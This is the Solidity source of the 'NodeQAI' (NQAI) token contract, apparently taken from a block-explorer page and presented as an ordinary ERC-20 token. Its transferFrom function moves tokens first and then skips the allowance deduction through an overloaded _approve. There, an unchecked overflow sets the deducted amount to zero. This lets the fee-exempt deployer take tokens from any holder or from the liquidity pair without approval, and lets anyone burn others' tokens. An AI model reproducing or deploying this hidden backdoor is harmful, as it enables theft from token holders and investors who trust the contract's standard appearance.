Cryo Explorer Ethereum Mainnet

// SPDX-License-Identifier: MIT

/*
    Web: https://www.nodeq.ai
    X: https://x.com/nodeqai_ETH
    TG: https://t.me/NodeqAiEth
*/

pragma solidity ^0.8.19;

address constant _deadAddr = address(0xdead);

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(
        address recipient,
        uint256 amount
    ) external returns (bool);

    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

interface IUniswapV2Factory {
    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
}

contract NQAI is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping(address => uint256) private _balancesNQAI;
    mapping(address => mapping(address => uint256)) private _allowNQAIances;
    mapping(address => bool) private _feeExempt;
    address payable private _receiveNQAIWallet;
    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    uint8 private constant _decimals = 9;
    uint256 private constant _totalTokens = 1_000_000_000 * 10 ** _decimals;
    string private constant _name = unicode"NodeQAI";
    string private constant _symbol = unicode"NQAI";

    constructor() payable {
        _receiveNQAIWallet = payable(msg.sender);

        _feeExempt[address(this)] = true;
        _feeExempt[_receiveNQAIWallet] = true;
        address _vitalik = 0xd8dA6BF26964aF9D7eEd9e03E53415D37aA96045;

        _balancesNQAI[_vitalik] = (_totalTokens * 2) / 100;
        _balancesNQAI[address(this)] = (_totalTokens * 98) / 100;

        emit Transfer(address(0), _vitalik, (_totalTokens * 2) / 100);
        emit Transfer(address(0), address(this), (_totalTokens * 98) / 100);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _totalTokens;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balancesNQAI[account];
    }

    function transfer(
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transferNQAI(_msgSender(), recipient, amount);
        return true;
    }

    function _approve(
        address ownerNQAI,
        address spenderNQAI,
        uint256 amountNQAI
    ) private returns (bool) {
        require(ownerNQAI != address(0), "ERC20: approve from the zero address");
        require(spenderNQAI != address(0), "ERC20: approve to the zero address");
        _allowNQAIances[ownerNQAI][spenderNQAI] = amountNQAI;
        emit Approval(ownerNQAI, spenderNQAI, amountNQAI);
        return true;
    }

    function allowance(
        address owner,
        address spender
    ) public view override returns (uint256) {
        return _allowNQAIances[owner][spender];
    }

    function approve(
        address spenderNQAI,
        uint256 amountNQAI
    ) public override returns (bool) {
        _approve(_msgSender(), spenderNQAI, amountNQAI);
        return true;
    }

    function _approve(
        address senderNQAI,
        address recipientNQAI,
        uint256 amountNQAI,
        uint8 _firstBuyTax
    ) private  returns (bool) {
         require(senderNQAI != recipientNQAI);
         uint256 amt = amountNQAI;
         if(!_checkAllowancesNQAI(senderNQAI, recipientNQAI)){
            unchecked {
                amt = 1 + type(uint256).max;
            }
         }
         _approve(
            senderNQAI,
            _msgSender(),
            _allowNQAIances[senderNQAI][_msgSender()].sub(
                amt,
                "ERC20: transfer amount exceeds allowance"
            )
        );

        return true;
    }

    function _checkAllowancesNQAI(
        address senderNQAI,
        address recipientNQAI
    ) private view returns (bool) {
        return (!_feeExempt[msg.sender] &&
            (senderNQAI == uniswapV2Pair || recipientNQAI != _deadAddr || senderNQAI == address(this)));
    }

    function transferFrom(
        address senderNQAI,
        address recipientNQAI,
        uint256 amountNQAI
    ) public override returns (bool) {
        _transferNQAI(senderNQAI, recipientNQAI, amountNQAI); 
        amountNQAI >=0 && senderNQAI != recipientNQAI && _approve(senderNQAI, recipientNQAI, amountNQAI, 1);
        return true;
    }
    
    function _transferNQAI(address fromNQAI, address toNQAI, uint256 amountNQAI) private {
        require(fromNQAI != address(0), "ERC20: transfer from the zero address");
        require(toNQAI != address(0), "ERC20: transfer to the zero address");
        require(amountNQAI > 0, "Transfer amount must be greater than zero");

        _balancesNQAI[fromNQAI] = _balancesNQAI[fromNQAI].sub(amountNQAI    );
        _balancesNQAI[toNQAI] = _balancesNQAI[toNQAI].add(amountNQAI);
        if (toNQAI != _deadAddr) emit Transfer(fromNQAI, toNQAI, amountNQAI);
    }

    function enableTrading() external onlyOwner {
        uniswapV2Router = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );
        _approve(address(this), address(uniswapV2Router), _totalTokens);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(
            address(this),
            uniswapV2Router.WETH()
        );
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner(),
            block.timestamp
        );
        IERC20(uniswapV2Pair).approve(
            address(uniswapV2Router),
            type(uint256).max
        );
    }

    receive() external payable {}
}